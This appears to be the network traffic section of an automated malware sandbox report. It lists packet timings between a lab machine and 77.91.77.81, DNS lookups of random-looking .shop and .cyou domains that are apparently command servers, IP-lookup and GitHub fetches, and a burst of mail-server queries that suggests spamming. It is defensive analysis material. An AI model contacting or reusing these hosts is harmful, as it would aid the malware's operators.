Jun 4, 2024 23:09:16.893280983 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893287897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893289089 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893301010 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893309116 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893311977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893321037 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893325090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893337011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893348932 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893349886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893359900 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893361092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893373966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893384933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893385887 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893398046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893410921 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893412113 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893423080 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893423080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893436909 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893449068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893450022 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893471956 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893485069 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.894275904 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.894290924 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.894301891 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.894314051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.894325018 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.894330025 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.894336939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.894336939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.894347906 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.894356012 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.894360065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.894367933 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.894371033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.894382000 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.894391060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.894397020 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.894403934 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.894417048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.894427061 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.894432068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.894439936 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.894445896 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.894457102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.894468069 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.894469976 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.894480944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.894493103 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.894495010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.894504070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.894509077 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.894516945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.894530058 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.894535065 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.894543886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.894556046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.894560099 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.894572973 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.894598961 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.042231083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.042324066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.042378902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.042417049 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.042469978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.042471886 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.042504072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.042515039 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.042515039 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.042545080 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.042558908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.042593956 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.042633057 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.042644978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.042678118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.042711973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.042716026 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.042745113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.042778015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.042783022 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.042810917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.042845011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.042848110 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.042881012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.042913914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.042920113 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.042946100 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.042980909 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.042983055 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.043011904 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.043045044 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.043050051 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.043077946 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.043111086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.043114901 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.043147087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.043180943 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.043185949 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.043241978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.043282032 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.043293953 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.043328047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.043360949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.043365955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.043411016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.043443918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.043447018 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.043478966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.043512106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.043520927 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.043550968 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.043582916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.043587923 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.043617964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.043651104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.043656111 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.043685913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.043725014 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.043731928 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.043767929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.043800116 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.043804884 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.043833971 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.043836117 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.043879032 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.043914080 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.044151068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.044186115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.044223070 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.044224977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.044234991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.044255018 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.044270992 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.044280052 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.044320107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.044357061 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.044368982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.044410944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.044447899 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.044464111 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.044555902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.044605970 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.044612885 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.044661045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.044683933 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.044744015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.044778109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.044781923 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.044831038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.044863939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.044877052 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.044898987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.044940948 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.044950962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.044984102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.044987917 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.045017958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045053959 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.045067072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045123100 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045161009 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.045188904 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045202971 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045216084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045228958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045238018 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.045242071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045250893 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.045257092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045269012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045274973 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.045296907 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.045303106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045320034 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.045337915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045341969 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.045373917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045407057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045408010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.045439959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045473099 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045479059 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.045506954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045541048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045542955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.045578003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045610905 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045614004 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.045648098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045681000 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045686007 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.045713902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045747042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045751095 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.045780897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045814991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045820951 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.045849085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045881987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045886993 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.045924902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045931101 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.045959949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045993090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.045995951 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.046026945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.046061993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.046068907 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.046097040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.046132088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.046138048 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.046166897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.046200037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.046205044 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.046233892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.046268940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.046271086 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.046302080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.046334982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.046339035 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.046367884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.046402931 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.046407938 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.046437025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.046437979 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.046472073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.046505928 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.046509981 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:17.046540976 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:17.046551943 CEST	49713	80	192.168.2.11	77.91.77.81

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 4, 2024 23:09:13.744746923 CEST	192.168.2.11	1.1.1.1	0x952e	Standard query (0)	detailbaconroollyws.shop	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:13.759121895 CEST	192.168.2.11	1.1.1.1	0xc867	Standard query (0)	horsedwollfedrwos.shop	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:13.776468039 CEST	192.168.2.11	1.1.1.1	0xa442	Standard query (0)	patternapplauderw.shop	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:13.792093992 CEST	192.168.2.11	1.1.1.1	0x858c	Standard query (0)	understanndtytonyguw.shop	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:13.804042101 CEST	192.168.2.11	1.1.1.1	0x9f09	Standard query (0)	considerrycurrentyws.shop	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:13.817564011 CEST	192.168.2.11	1.1.1.1	0x72bb	Standard query (0)	messtimetabledkolvk.shop	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:13.890006065 CEST	192.168.2.11	1.1.1.1	0x6580	Standard query (0)	deprivedrinkyfaiir.shop	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:13.902107954 CEST	192.168.2.11	1.1.1.1	0x2819	Standard query (0)	relaxtionflouwerwi.shop	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:29.223455906 CEST	192.168.2.11	1.1.1.1	0xd82f	Standard query (0)	messtimetabledkolvk.shop	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:29.252758980 CEST	192.168.2.11	1.1.1.1	0xdee1	Standard query (0)	horsedwollfedrwos.shop	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:29.268096924 CEST	192.168.2.11	1.1.1.1	0xdf	Standard query (0)	patternapplauderw.shop	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:29.308049917 CEST	192.168.2.11	1.1.1.1	0x88d5	Standard query (0)	understanndtytonyguw.shop	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:29.323610067 CEST	192.168.2.11	1.1.1.1	0x2b16	Standard query (0)	considerrycurrentyws.shop	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:29.365880013 CEST	192.168.2.11	1.1.1.1	0xf4f2	Standard query (0)	detailbaconroollyws.shop	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:29.379842997 CEST	192.168.2.11	1.1.1.1	0x9eac	Standard query (0)	deprivedrinkyfaiir.shop	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:29.399768114 CEST	192.168.2.11	1.1.1.1	0xd40	Standard query (0)	relaxtionflouwerwi.shop	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:36.596916914 CEST	192.168.2.11	1.1.1.1	0xd3d1	Standard query (0)	clwtumberaero.cyou	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:38.034133911 CEST	192.168.2.11	1.1.1.1	0x52f2	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:09:39.902709961 CEST	192.168.2.11	1.1.1.1	0xbf67	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:11.099411011 CEST	192.168.2.11	1.1.1.1	0x4084	Standard query (0)	restores.name	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:22.985950947 CEST	192.168.2.11	1.1.1.1	0x913b	Standard query (0)	securesmtp.rectifiersgates.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.111326933 CEST	192.168.2.11	1.1.1.1	0x4554	Standard query (0)	mail.promatech.ma	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.112379074 CEST	192.168.2.11	1.1.1.1	0xe6ec	Standard query (0)	beotel.rs	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.113730907 CEST	192.168.2.11	1.1.1.1	0x197a	Standard query (0)	alt3.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.235101938 CEST	192.168.2.11	1.1.1.1	0xcc26	Standard query (0)	smtp.telenet.be	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.235255957 CEST	192.168.2.11	1.1.1.1	0xd7b8	Standard query (0)	securesmtp.f254425b43.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.379081964 CEST	192.168.2.11	1.1.1.1	0x7307	Standard query (0)	viacom.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.513005972 CEST	192.168.2.11	1.1.1.1	0xa3f9	Standard query (0)	meta.ua	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.513242006 CEST	192.168.2.11	1.1.1.1	0x1da8	Standard query (0)	smtp.ig.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.514089108 CEST	192.168.2.11	1.1.1.1	0x3e74	Standard query (0)	securesmtp.techdoc.it	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.645103931 CEST	192.168.2.11	1.1.1.1	0x17ed	Standard query (0)	mail.e-ducare.com.ar	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.645103931 CEST	192.168.2.11	1.1.1.1	0x2170	Standard query (0)	secure.netsite.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.992111921 CEST	192.168.2.11	1.1.1.1	0x6d3a	Standard query (0)	out.gdas.ac.cn	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.994313002 CEST	192.168.2.11	1.1.1.1	0x46a4	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.994369030 CEST	192.168.2.11	1.1.1.1	0x8e07	Standard query (0)	out.dashcam-france.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.996079922 CEST	192.168.2.11	1.1.1.1	0xe304	Standard query (0)	out.nava.biz	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.996380091 CEST	192.168.2.11	1.1.1.1	0x1660	Standard query (0)	malmar-be.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.997097015 CEST	192.168.2.11	1.1.1.1	0xbb32	Standard query (0)	zs-pchery.cz	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:23.997616053 CEST	192.168.2.11	1.1.1.1	0x2e6	Standard query (0)	securesmtp.sacredheartconventhighschool.co.in	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:24.072184086 CEST	192.168.2.11	1.1.1.1	0x8984	Standard query (0)	out.madrasah.id	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:24.196285963 CEST	192.168.2.11	1.1.1.1	0xbaef	Standard query (0)	yaho.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:24.320916891 CEST	192.168.2.11	1.1.1.1	0x6b50	Standard query (0)	smtp.netzero.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:24.321558952 CEST	192.168.2.11	1.1.1.1	0xcc48	Standard query (0)	nate.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:24.452404976 CEST	192.168.2.11	1.1.1.1	0x3c9e	Standard query (0)	socotim.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:24.612953901 CEST	192.168.2.11	1.1.1.1	0xa826	Standard query (0)	eyou.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:24.614533901 CEST	192.168.2.11	1.1.1.1	0x5163	Standard query (0)	thefindmachine.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:24.736905098 CEST	192.168.2.11	1.1.1.1	0x8672	Standard query (0)	secure.piepmeyer.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:24.737863064 CEST	192.168.2.11	1.1.1.1	0xabbf	Standard query (0)	marshallschools.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.041896105 CEST	192.168.2.11	1.1.1.1	0x6d3a	Standard query (0)	out.gdas.ac.cn	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.043977976 CEST	192.168.2.11	1.1.1.1	0x96b3	Standard query (0)	abv.bg	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.045698881 CEST	192.168.2.11	1.1.1.1	0xfc9e	Standard query (0)	secure.gamblr.co	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.049000978 CEST	192.168.2.11	1.1.1.1	0x4d8c	Standard query (0)	noos.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:25.159373045 CEST	192.168.2.11	1.1.1.1	0x1bc1	Standard query (0)	alt4.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
